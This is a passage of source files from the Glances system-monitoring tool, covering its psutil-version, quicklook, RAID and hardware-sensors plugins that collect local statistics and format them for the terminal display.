'io_counters' in self.stats[0] and mmm is None:\n            # IO read\n            io_rs = int(\n                (self._sum_stats('io_counters', 0) - self._sum_stats('io_counters', sub_key=2, mmm=mmm))\n                / self.stats[0]['time_since_update']\n            )\n            if io_rs == 0:\n                msg = self.layout_stat['ior'].format('0')\n            else:\n                msg = self.layout_stat['ior'].format(self.auto_unit(io_rs, low_precision=True))\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True, additional=True))\n            # IO write\n            io_ws = int(\n                (self._sum_stats('io_counters', 1) - self._sum_stats('io_counters', sub_key=3, mmm=mmm))\n                / self.stats[0]['time_since_update']\n            )\n            if io_ws == 0:\n                msg = self.layout_stat['iow'].format('0')\n            else:\n                msg = self.layout_stat['iow'].format(self.auto_unit(io_ws, low_precision=True))\n            ret.append(self.curse_add_line(msg, decoration=self._mmm_deco(mmm), optional=True, additional=True))\n        else:\n            msg = self.layout_header['ior'].format('')\n            ret.append(self.curse_add_line(msg, optional=True, additional=True))\n            msg = self.layout_header['iow'].format('')\n            ret.append(self.curse_add_line(msg, optional=True, additional=True))\n        if mmm is None:\n            msg = '< {}'.format('current')\n            ret.append(self.curse_add_line(msg, optional=True))\n        else:\n            msg = f'< {mmm}'\n            ret.append(self.curse_add_line(msg, optional=True))\n            msg = '(\\'M\\' to reset)'\n            ret.append(self.curse_add_line(msg, optional=True))\n"
  },
  {
    "path": "glances/plugins/psutilversion/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"psutil plugin.\nJust a simple plugin to get the Psutil version.\"\"\"\n\nfrom glances import psutil_version_info\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n\nclass PsutilversionPlugin(GlancesPluginModel):\n    \"\"\"Get the Psutil version.\n\n    stats is a string\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        self.reset()\n\n    def reset(self):\n        \"\"\"Reset/init the stats.\"\"\"\n        self.stats = None\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update the stats.\"\"\"\n        # Reset stats\n        self.reset()\n\n        # Return psutil version as a tuple\n        if self.input_method == 'local':\n            # psutil version only available in local\n            try:\n                self.stats = '.'.join([str(i) for i in psutil_version_info])\n            except NameError:\n                pass\n        else:\n            pass\n\n        return self.stats\n"
  },
  {
    "path": "glances/plugins/quicklook/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Quicklook plugin.\"\"\"\n\nimport psutil\n\nfrom glances.cpu_percent import cpu_percent\nfrom glances.logger import logger\nfrom glances.outputs.glances_bars import Bar\nfrom glances.outputs.glances_sparklines import Sparkline\nfrom glances.plugins.fs.zfs import zfs_enable, zfs_stats\nfrom glances.plugins.load import load_average, log_core, phys_core\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'cpu': {\n        'description': 'CPU percent usage',\n        'unit': 'percent',\n    },\n    'mem': {\n        'description': 'MEM percent usage',\n        'unit': 'percent',\n    },\n    'swap': {\n        'description': 'SWAP percent usage',\n        'unit': 'percent',\n    },\n    'load': {\n        'description': 'LOAD percent usage',\n        'unit': 'percent',\n        'alert': True,\n    },\n    'cpu_log_core': {\n        'description': 'Number of logical CPU core',\n        'unit': 'number',\n    },\n    'cpu_phys_core': {\n        'description': 'Number of physical CPU core',\n        'unit': 'number',\n    },\n    'cpu_name': {\n        'description': 'CPU name',\n    },\n    'cpu_hz_current': {\n        'description': 'CPU current frequency',\n        'unit': 'hertz',\n    },\n    'cpu_hz': {\n        'description': 'CPU max frequency',\n        'unit': 'hertz',\n    },\n}\n\n# Define the history items list\n# All items in this list will be historised if the --enable-history tag is set\nitems_history_list = [\n    {'name': 'cpu', 'description': 'CPU percent usage', 'y_unit': '%'},\n    {'name': 'percpu', 'description': 'PERCPU percent usage', 'y_unit': '%'},\n    {'name': 'mem', 'description': 'MEM percent usage', 'y_unit': '%'},\n    {'name': 'swap', 'description': 'SWAP percent usage', 'y_unit': '%'},\n    {'name': 'load', 'description': 'LOAD percent usage', 'y_unit': '%'},\n]\n\n\nclass QuicklookPlugin(GlancesPluginModel):\n    \"\"\"Glances quicklook plugin.\n\n    'stats' is a dictionary.\n    \"\"\"\n\n    AVAILABLE_STATS_LIST = ['cpu', 'mem', 'swap', 'load']\n    DEFAULT_STATS_LIST = ['cpu', 'mem', 'load']\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the quicklook plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # ZFS\n        self.zfs_enabled = zfs_enable()\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Manage the maximum number of CPU to display (related to enhancement request #2734)\n        self.max_cpu_display = config.get_int_value('percpu', 'max_cpu_display', 4) if config else 4\n\n        # Define the stats list\n        self.stats_list = self.get_conf_value('list', default=self.DEFAULT_STATS_LIST)\n        if not set(self.stats_list).issubset(self.AVAILABLE_STATS_LIST):\n            logger.warning(f'Quicklook plugin: Invalid stats list: {self.stats_list}')\n            self.stats_list = self.AVAILABLE_STATS_LIST\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update quicklook stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Grab quicklook stats: CPU, MEM and SWAP\n        if self.input_method == 'local':\n            # Get system information\n            cpu_info = cpu_percent.get_info()\n            stats['cpu_name'] = cpu_info['cpu_name']\n            stats['cpu_hz_current'] = (\n                self._mhz_to_hz(cpu_info['cpu_hz_current']) if cpu_info['cpu_hz_current'] is not None else None\n            )\n            stats['cpu_hz'] = self._mhz_to_hz(cpu_info['cpu_hz']) if cpu_info['cpu_hz'] is not None else None\n\n            # Get the CPU percent value (global and per core)\n            # Stats is shared across all plugins\n            stats['cpu'] = cpu_percent.get_cpu()\n            stats['percpu'] = cpu_percent.get_percpu()\n\n            # Get the virtual and swap memory\n            vm_stats = psutil.virtual_memory()\n            mem_total = vm_stats.total\n            mem_available = vm_stats.available\n            if self.zfs_enabled:\n                zfs_cache_stats = zfs_stats()\n                mem_available = (\n                    mem_available + zfs_cache_stats.get('arcstats.size', 0) - zfs_cache_stats.get('arcstats.c_min', 0)\n                )\n\n            stats['mem'] = round(float((mem_total - mem_available) / mem_total * 100), 1)\n            try:\n                stats['swap'] = psutil.swap_memory().percent\n            except RuntimeError:\n                # Correct issue in Illumos OS (see #1767)\n                stats['swap'] = None\n\n            # Get load\n            stats['cpu_log_core'] = log_core()\n            stats['cpu_phys_core'] = phys_core()\n            try:\n                # Load average is a tuple (1 min, 5 min, 15 min)\n                # Process only the 15 min value (index 2)\n                stats['load'] = load_average(percent=True)[2]\n            except (TypeError, IndexError):\n                stats['load'] = None\n\n        elif self.input_method == 'snmp':\n            # Not available\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Alert for CPU, MEM and SWAP\n        for key in self.stats_list:\n            if key in self.stats:\n                self.views[key]['decoration'] = self.get_alert(self.stats[key], header=key)\n\n        # Define the list of stats to display\n        self.views['list'] = self.stats_list\n\n    def msg_curse(self, args=None, max_width=10):\n        \"\"\"Return the list to display in the UI.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        if not max_width:\n            # No max_width defined, return an empty message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Build the string message\n        ##########################\n\n        # System information\n        if 'cpu_hz_current' in self.stats and self.stats['cpu_hz_current'] is not None:\n            if 'cpu_hz' in self.stats and self.stats['cpu_hz'] is not None:\n                msg_freq = ' {:.2f}/{:.2f}GHz'.format(\n                    self._hz_to_ghz(self.stats['cpu_hz_current']), self._hz_to_ghz(self.stats['cpu_hz'])\n                )\n            else:\n                msg_freq = ' {:.2f}GHz'.format(self._hz_to_ghz(self.stats['cpu_hz_current']))\n        else:\n            msg_freq = ''\n\n        if 'cpu_name' in self.stats and (max_width - len(msg_freq) + 7) > 0:\n            msg_name = '{:{width}}'.format(self.stats['cpu_name'], width=max_width - len(msg_freq) + 7)\n        else:\n            msg_name = '' if msg_freq == '' else 'Frequency'\n\n        ret.append(self.curse_add_line(msg_name))\n        ret.append(self.curse_add_line(msg_freq))\n        ret.append(self.curse_new_line())\n\n        # Loop over CPU, MEM and LOAD\n        # Define the data: Bar (default behavior) or Sparkline\n        data = {}\n        for key in self.stats_list:\n            bar_size = max(len(msg_name) + len(msg_freq) - 7, max_width)\n            if self.args.sparkline and self.history_enable() and not self.args.client:\n                data[key] = Sparkline(bar_size)\n            else:\n                # Fallback to bar if Sparkline module is not installed\n                data[key] = Bar(bar_size, bar_char=self.get_conf_value('bar_char', default=['|'])[0])\n\n        for key in self.stats_list:\n            if key == 'cpu' and args.percpu:\n                ret.extend(self._msg_per_cpu(data, key, max_width))\n            else:\n                if type(data[key]).__name__ == 'Sparkline':\n                    # Sparkline display an history\n                    data[key].percents = [i[1] for i in self.get_raw_history(item=key, nb=data[key].size)]\n                    # A simple padding in order to align metrics to the right\n                    data[key].percents += [None] * (data[key].size - len(data[key].percents))\n                else:\n                    # Bar only the last value\n                    data[key].percent = self.stats[key]\n                msg = f'{key.upper():4} '\n                ret.extend(self._msg_create_line(msg, data[key], key))\n                ret.append(self.curse_new_line())\n\n        # Remove the last new line\n        ret.pop()\n\n        # Return the message with decoration\n        return ret\n\n    def _msg_per_cpu(self, data, key, max_width):\n        \"\"\"Create per-cpu view\"\"\"\n        ret = []\n\n        # Get history (only used with the sparkline option)\n        if type(data[key]).__name__ == 'Sparkline':\n            raw_cpu = self.get_raw_history(item='percpu', nb=data[key].size)\n\n        # Manage the maximum number of CPU to display (related to enhancement request #2734)\n        if len(self.stats['percpu']) > self.max_cpu_display:\n            # If the number of CPU is > max_cpu_display then sort and display top 'n'\n            percpu_list = sorted(self.stats['percpu'], key=lambda x: x['total'], reverse=True)\n        else:\n            percpu_list = self.stats['percpu']\n\n        # Display the first max_cpu_display CPU\n        for cpu in percpu_list[0 : self.max_cpu_display]:\n            cpu_id = cpu[cpu['key']]\n            if type(data[key]).__name__ == 'Sparkline':\n                # Sparkline display an history\n                data[key].percents = [i[1][cpu_id]['total'] for i in raw_cpu]\n                # A simple padding in order to align metrics to the right\n                data[key].percents += [None] * (data[key].size - len(data[key].percents))\n            else:\n                # Bar will only display the last value\n                data[key].percent = cpu['total']\n            if cpu_id < 10:\n                msg = f'{key.upper():3}{cpu_id} '\n            else:\n                msg = f'{cpu_id:4} '\n            ret.extend(self._msg_create_line(msg, data[key], key))\n            ret.append(self.curse_new_line())\n\n        # Add a new line with sum of all others CPU\n        if len(self.stats['percpu']) > self.max_cpu_display:\n            if type(data[key]).__name__ == 'Sparkline':\n                sum_other = Sparkline(max_width)\n                # Sparkline display an history\n                sum_other.percents = [\n                    sum([i['total'] for i in r[1] if i[i['key']] >= self.max_cpu_display])\n                    / len([i['total'] for i in r[1] if i[i['key']] >= self.max_cpu_display])\n                    for r in raw_cpu\n                ]\n                # A simple padding in order to align metrics to the right\n                sum_other.percents += [None] * (sum_other.size - len(sum_other.percents))\n            else:\n                # Bar will only display the last value\n                sum_other = Bar(max_width, bar_char=self.get_conf_value('bar_char', default=['|'])[0])\n                sum_other.percent = sum([i['total'] for i in percpu_list[self.max_cpu_display :]]) / len(\n                    percpu_list[self.max_cpu_display :]\n                )\n            msg = msg = f'{key.upper():3}* '\n            ret.extend(self._msg_create_line(msg, sum_other, key))\n            ret.append(self.curse_new_line())\n\n        return ret\n\n    def _msg_create_line(self, msg, data, key):\n        \"\"\"Create a new line to the Quick view.\"\"\"\n        return [\n            self.curse_add_line(msg),\n            self.curse_add_line('[', decoration='BOLD'),\n            self.curse_add_line(data.get(), self.get_views(key=key, option='decoration')),\n            self.curse_add_line(']', decoration='BOLD'),\n            self.curse_add_line('  '),\n        ]\n\n    def _hz_to_ghz(self, hz):\n        \"\"\"Convert Hz to Ghz.\"\"\"\n        return hz / 1000000000.0\n\n    def _mhz_to_hz(self, hz):\n        \"\"\"Convert Mhz to Hz.\"\"\"\n        return hz * 1000000.0\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/raid/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"RAID plugin.\"\"\"\n\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Import plugin specific dependency\ntry:\n    from pymdstat import MdStat\nexcept ImportError as e:\n    import_error_tag = True\n    logger.warning(f\"Missing Python Lib ({e}), Raid plugin is disabled\")\nelse:\n    import_error_tag = False\n\n\nclass RaidPlugin(GlancesPluginModel):\n    \"\"\"Glances RAID plugin.\n\n    stats is a dict (see pymdstat documentation)\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config)\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update RAID stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if import_error_tag:\n            return self.stats\n\n        if self.input_method == 'local':\n            # Update stats using the PyMDstat lib (https://github.com/nicolargo/pymdstat)\n            try:\n                mds = MdStat()\n                # Just for test: uncomment the following line to use a local file\n                # mds = MdStat(path='/home/nicolargo/dev/pymdstat/tests/mdstat.10')\n                stats = mds.get_stats()['arrays']\n            except Exception as e:\n                logger.debug(f\"Can not grab RAID stats ({e})\")\n                return self.stats\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            # No standard way for the moment...\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 12\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Header\n        msg = '{:{width}}'.format('RAID disks', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = '{:>7}'.format('Used')\n        ret.append(self.curse_add_line(msg))\n        msg = '{:>7}'.format('Avail')\n        ret.append(self.curse_add_line(msg))\n        # Data\n        arrays = sorted(self.stats.keys())\n        for array in arrays:\n            array_stats = self.stats[array]\n\n            if not isinstance(array_stats, dict):\n                continue\n\n            # Display the current status\n            status = self.raid_alert(\n                array_stats['status'],\n                array_stats['used'],\n                array_stats['available'],\n                array_stats['type'],\n            )\n\n            # New line\n            ret.append(self.curse_new_line())\n            # Data: RAID type name | disk used | disk available\n            array_type = array_stats['type'].upper() if array_stats['type'] is not None else 'UNKNOWN'\n            # Build the full name = array type + array name\n            full_name = f'{array_type} {array}'\n            msg = '{:{width}}'.format(full_name, width=name_max_width)\n            ret.append(self.curse_add_line(msg))\n            if array_stats['type'] == 'raid0' and array_stats['status'] == 'active':\n                msg = '{:>7}'.format(len(array_stats['components']))\n                ret.append(self.curse_add_line(msg, status))\n                msg = '{:>7}'.format('-')\n                ret.append(self.curse_add_line(msg, status))\n            elif array_stats['status'] == 'active':\n                msg = '{:>7}'.format(array_stats['used'])\n                ret.append(self.curse_add_line(msg, status))\n                msg = '{:>7}'.format(array_stats['available'])\n                ret.append(self.curse_add_line(msg, status))\n            elif array_stats['status'] == 'inactive':\n                ret.append(self.curse_new_line())\n                msg = '└─ Status {}'.format(array_stats['status'])\n                ret.append(self.curse_add_line(msg, status))\n                components = sorted(array_stats['components'].keys())\n                for i, component in enumerate(components):\n                    if i == len(components) - 1:\n                        tree_char = '└─'\n                    else:\n                        tree_char = '├─'\n                    ret.append(self.curse_new_line())\n                    msg = '   {} disk {}: '.format(tree_char, array_stats['components'][component])\n                    ret.append(self.curse_add_line(msg))\n                    msg = f'{component}'\n                    ret.append(self.curse_add_line(msg))\n\n            if array_stats['type'] != 'raid0' and (\n                array_stats['used'] and array_stats['available'] and array_stats['used'] < array_stats['available']\n            ):\n                # Display current array configuration\n                ret.append(self.curse_new_line())\n                msg = '└─ Degraded mode'\n                ret.append(self.curse_add_line(msg, status))\n                if len(array_stats['config']) < 17:\n                    ret.append(self.curse_new_line())\n                    msg = '   └─ {}'.format(array_stats['config'].replace('_', 'A'))\n                    ret.append(self.curse_add_line(msg))\n\n        return ret\n\n    @staticmethod\n    def raid_alert(status, used, available, raid_type) -> str:\n        \"\"\"RAID alert messages.\n\n        [available/used] means that ideally the array may have _available_\n        devices however, _used_ devices are in use.\n        Obviously when used >= available then things are good.\n        \"\"\"\n        if raid_type == 'raid0':\n            return 'OK'\n        if status == 'inactive':\n            return 'CRITICAL'\n        if used is None or available is None:\n            return 'DEFAULT'\n        if used < available:\n            return 'WARNING'\n        return 'OK'\n"
  },
  {
    "path": "glances/plugins/sensors/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Sensors plugin.\"\"\"\n\nimport warnings\nfrom concurrent.futures import ThreadPoolExecutor\nfrom typing import Any\n\nimport psutil\n\nfrom glances.globals import natural_keys, to_fahrenheit\nfrom glances.logger import logger\nfrom glances.outputs.glances_unicode import unicode_message\nfrom glances.plugins.plugin.model import GlancesPluginModel\nfrom glances.plugins.sensors.sensor.glances_batpercent import BatpercentPlugin\nfrom glances.plugins.sensors.sensor.glances_hddtemp import HddtempPlugin\nfrom glances.timer import Counter\n\n# Define all kind of sensors available in Glances\nsensors_definition = {\n    'cpu_temp': {'type': 'temperature_core', 'unit': 'C'},\n    'fan_speed': {'type': 'fan_speed', 'unit': 'R'},\n    'hdd_temp': {'type': 'temperature_hdd', 'unit': 'C'},\n    'battery': {'type': 'battery', 'unit': '%'},\n}\n\n# Define the default refresh multiplicator\n# Default value is 5 * Glances refresh time\n# Can be overwritten by the refresh option in the sensors section of the glances.conf file\nDEFAULT_REFRESH = 5\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: is it a rate ? If yes, // by time_since_update when displayed,\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'label': {\n        'description': 'Sensor label',\n    },\n    'unit': {\n        'description': 'Sensor unit',\n    },\n    'value': {\n        'description': 'Sensor value',\n        'unit': 'number',\n    },\n    'warning': {\n        'description': 'Warning threshold',\n        'unit': 'number',\n    },\n    'critical': {\n        'description': 'Critical threshold',\n        'unit': 'number',\n    },\n    'type': {\n        'description': 'Sensor type (one of battery, temperature_core, fan_speed)',\n    },\n}\n\n\nclass SensorsPlugin(GlancesPluginModel):\n    \"\"\"Glances sensors plugin.\n\n    The stats list includes both sensors and hard disks stats, if any.\n    The sensors are already grouped by chip type and then sorted by label.\n    The hard disks are already sorted by label.\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[], fields_description=fields_description)\n        start_duration = Counter()\n\n        # Init the sensor class\n        start_duration.reset()\n        glances_grab_sensors_cpu_temp = GlancesGrabSensors(sensors_definition.get('cpu_temp'))\n        logger.debug(f\"CPU Temp sensor plugin init duration: {start_duration.get()} seconds\")\n\n        start_duration.reset()\n        glances_grab_sensors_fan_speed = GlancesGrabSensors(sensors_definition.get('fan_speed'))\n        logger.debug(f\"Fan speed sensor plugin init duration: {start_duration.get()} seconds\")\n\n        # Instance for the HDDTemp Plugin in order to display the hard disks temperatures\n        start_duration.reset()\n        hddtemp_plugin = HddtempPlugin(args=args, config=config)\n        logger.debug(f\"HDDTemp sensor plugin init duration: {start_duration.get()} seconds\")\n\n        # Instance for the BatPercent in order to display the batteries capacities\n        start_duration.reset()\n        batpercent_plugin = BatpercentPlugin(args=args, config=config)\n        logger.debug(f\"Battery sensor plugin init duration: {start_duration.get()} seconds\")\n\n        self.sensors_grab_map = {}\n\n        if glances_grab_sensors_cpu_temp.init:\n            self.sensors_grab_map[sensors_definition.get('cpu_temp').get('type')] = glances_grab_sensors_cpu_temp\n\n        if glances_grab_sensors_fan_speed.init:\n            self.sensors_grab_map[sensors_definition.get('fan_speed').get('type')] = glances_grab_sensors_fan_speed\n\n        self.sensors_grab_map[sensors_definition.get('hdd_temp').get('type')] = hddtemp_plugin\n        self.sensors_grab_map[sensors_definition.get('battery').get('type')] = batpercent_plugin\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Not necessary to refresh every refresh time\n        if args and self.get_refresh() == args.time:\n            self.set_refresh(self.get_refresh() * DEFAULT_REFRESH)\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\"\"\"\n        return 'label'\n\n    def __get_sensor_data(self, sensor_type: str) -> list[dict]:\n        try:\n            data = self.sensors_grab_map[sensor_type].update()\n            data = self.__set_type(data, sensor_type)\n        except Exception as e:\n            logger.error(f\"Cannot grab sensors `{sensor_type}` ({e})\")\n            return []\n        else:\n            return self.__transform_sensors(data)\n\n    def __transform_sensors(self, threads_stats):\n        \"\"\"Hide, alias and sort the result\"\"\"\n        stats_transformed = []\n        for stat in threads_stats:\n            # Hide sensors configured in the hide ou show configuration key\n            if not self.is_display(stat[\"label\"].lower()):\n                continue\n            # Set alias for sensors\n            stat[\"label\"] = self.__get_alias(stat)\n            # Add the stat to the stats_transformed list\n            stats_transformed.append(stat)\n        # Remove duplicates thanks to https://stackoverflow.com/a/9427216/1919431\n        stats_transformed = [dict(t) for t in {tuple(d.items()) for d in stats_transformed}]\n        # Sort by label\n        return sorted(stats_transformed, key=lambda d: natural_keys(d['label']))\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update sensors stats using the input method.\"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        if self.input_method == 'local':\n            with ThreadPoolExecutor(max_workers=len(self.sensors_grab_map)) as executor:\n                logger.debug(f\"Sensors enabled sub plugins: {list(self.sensors_grab_map.keys())}\")\n                futures = {t: executor.submit(self.__get_sensor_data, t) for t in self.sensors_grab_map}\n\n            # Merge the results\n            for sensor_type, future in futures.items():\n                try:\n                    stats.extend(future.result())\n                except Exception as e:\n                    logger.error(f\"Cannot parse sensors data for `{sensor_type}` ({e})\")\n\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            # No standard:\n            # http://www.net-snmp.org/wiki/index.php/Net-SNMP_and_lm-sensors_on_Ubuntu_10.04\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def __get_alias(self, stats):\n        \"\"\"Return the alias of the sensor.\"\"\"\n        # Get the alias for each stat\n        if self.has_alias(stats[\"label\"].lower()):\n            return self.has_alias(stats[\"label\"].lower())\n        if self.has_alias(\"{}_{}\".format(stats[\"label\"], stats[\"type\"]).lower()):\n            return self.has_alias(\"{}_{}\".format(stats[\"label\"], stats[\"type\"]).lower())\n        return stats[\"label\"]\n\n    def __set_type(self, stats: list[dict[str, Any]], sensor_type: str) -> list[dict[str, Any]]:\n        \"\"\"Set the plugin type.\n\n        4 types of stats is possible in the sensors plugin, see sensors_definition variable\n        \"\"\"\n        for i in stats:\n            # Set the sensors type\n            i.update({'type': sensor_type})\n            # also add the key name\n            i.update({'key': self.get_key()})\n\n        return stats\n\n    def __get_system_thresholds(self, sensor):\n        \"\"\"Return the alert level thanks to the system thresholds.\n        Note: Only Warning (aka High) and Critical thresholds are used.\n        \"\"\"\n        alert = 'OK'\n        if sensor['critical'] is None:\n            alert = 'DEFAULT'\n        elif sensor['value'] >= sensor['critical']:\n            alert = 'CRITICAL'\n        elif sensor['warning'] is None:\n            alert = 'DEFAULT'\n        elif sensor['value'] >= sensor['warning']:\n            alert = 'WARNING'\n        return alert\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert\n        for i in self.stats:\n            if not i['value']:\n                continue\n            # Alert processing\n            if i['type'] == sensors_definition.get('cpu_temp').get('type'):\n                if self.is_limit('critical', stat_name=i['type'] + '_' + i['label']):\n                    # Get thresholds for the specific sensor in the glances.conf file (see #2058)abel']}\")\n                    alert = self.get_alert(current=i['value'], header=i['type'], action_key=i['label'])\n                elif self.is_limit('critical', stat_name=i['type']):\n                    # Get thresholds for the sensor type in the glances.conf file (see #3049)\n                    alert = self.get_alert(current=i['value'], header=i['type'])\n                else:\n                    # Else use the system thresholds\n                    alert = self.__get_system_thresholds(i)\n            elif i['type'] == sensors_definition.get('battery').get('type'):\n                # Battery is in %\n                alert = self.get_alert(current=100 - i['value'], header=i['type'])\n            else:\n                alert = self.get_alert(current=i['value'], header=i['type'])\n            # Set the alert in the view\n            self.views[i[self.get_key()]]['value']['decoration'] = alert\n\n    def battery_trend(self, stats):\n        \"\"\"Return the trend character for the battery\"\"\"\n        if 'status' not in stats:\n            return ''\n        if stats['status'].startswith('Charg'):\n            return unicode_message('ARROW_UP')\n        if stats['status'].startswith('Discharg'):\n            return unicode_message('ARROW_DOWN')\n        if stats['status'].startswith('Full'):\n            return unicode_message('CHECK')\n        return ''\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            name_max_width = max_width - 12\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Header\n        msg = '{:{width}}'.format('SENSORS', width=name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n\n        # Stats\n        for i in self.stats:\n            # Do not display anything if no battery are detected\n            if i['type'] == sensors_definition.get('battery').get('type') and i['value'] == []:\n                continue\n            # New line\n            ret.append(self.curse_new_line())\n            msg = '{:{width}}'.format(i[\"label\"][:name_max_width], width=name_max_width)\n            ret.append(self.curse_add_line(msg))\n            if i['value'] in (b'ERR', b'SLP', b'UNK', b'NOS'):\n                msg = '{:>14}'.format(i['value'])\n                ret.append(\n                    self.curse_add_line(msg, self.get_views(item=i[self.get_key()], key='value', option='decoration'))\n                )\n            else:\n                if (\n                    args.fahrenheit\n                    and i['type'] != sensors_definition.get('battery').get('type')\n                    and i['type'] != sensors_definition.get('fan_speed').get('type')\n                ):\n                    trend = ''\n                    value = to_fahrenheit(i['value'])\n                    unit = 'F'\n                else:\n                    trend = self.battery_trend(i)\n                    value = i['value']\n                    unit = i['unit']\n                try:\n                    msg = f'{value:.0f}{unit}{trend}'\n                    msg = f'{msg:>14}'\n                    ret.append(\n                        self.curse_add_line(\n                            msg, self.get_views(item=i[self.get_key()], key='value', option='decoration')\n                        )\n                    )\n                except (TypeError, ValueError):\n                    pass\n\n        return ret\n\n\nclass GlancesGrabSensors:\n    \"\"\"Get sensors stats.\"\"\"\n\n    def __init__(self, sensor_def: dict):\n        \"\"\"Init sensors stats.\"\"\"\n        self.sensor_type = sensor_def.get('type')\n        self.sensor_unit = sensor_def.get('unit')\n\n        self.init = False\n        try:\n            self.__fetch_data()\n            self.init = True\n        except AttributeError:\n            logger.debug(f\"Cannot grab {self.sensor_type}. Platform not supported.\")\n\n    def __fetch_data(self) -> dict[str, list]:\n        if self.sensor_type == sensors_definition.get('cpu_temp').get('type'):\n            # Solve an issue #1203 concerning a RunTimeError warning message displayed\n            # in the curses interface.\n            warnings.filterwarnings(\"ignore\")\n\n            # psutil>=5.1.0, Linux-only\n            return psutil.sensors_temperatures()\n\n        if self.sensor_type == sensors_definition.get('fan_speed').get('type'):\n            # psutil>=5.2.0, Linux-only\n            return psutil.sensors_fans()\n\n        raise ValueError(f\"Unsupported sensor: {self.sensor_type}\")\n\n    def update(self) -> list[dict]:\n        \"\"\"Update the stats.\"\"\"\n        if not self.init:\n            return []\n\n        # Temperatures sensors\n        ret = []\n        data = self.__fetch_data()\n        for chip_name, chip in data.items():\n            label_index = 1\n            for chip_name_index, feature in enumerate(chip):\n                sensors_current = {}\n                # Sensor name\n                if feature.label == '':\n                    sensors_current['label'] = chip_name + ' ' + str(chip_name_index)\n                elif feature.label in [i['label'] for i in ret]:\n                    sensors_current['label'] = feature.label + ' ' + str(label_index)\n                    label_index += 1\n                else:\n                    sensors_current['label'] = feature.label\n                # Sensors value, limit and unit\n                sensors_current['unit'] = self.sensor_unit\n                sensors_current['value'] = int(getattr(feature, 'current', 0) if getattr(feature, 'current', 0) else 0)\n                system_warning = getattr(feature, 'high', 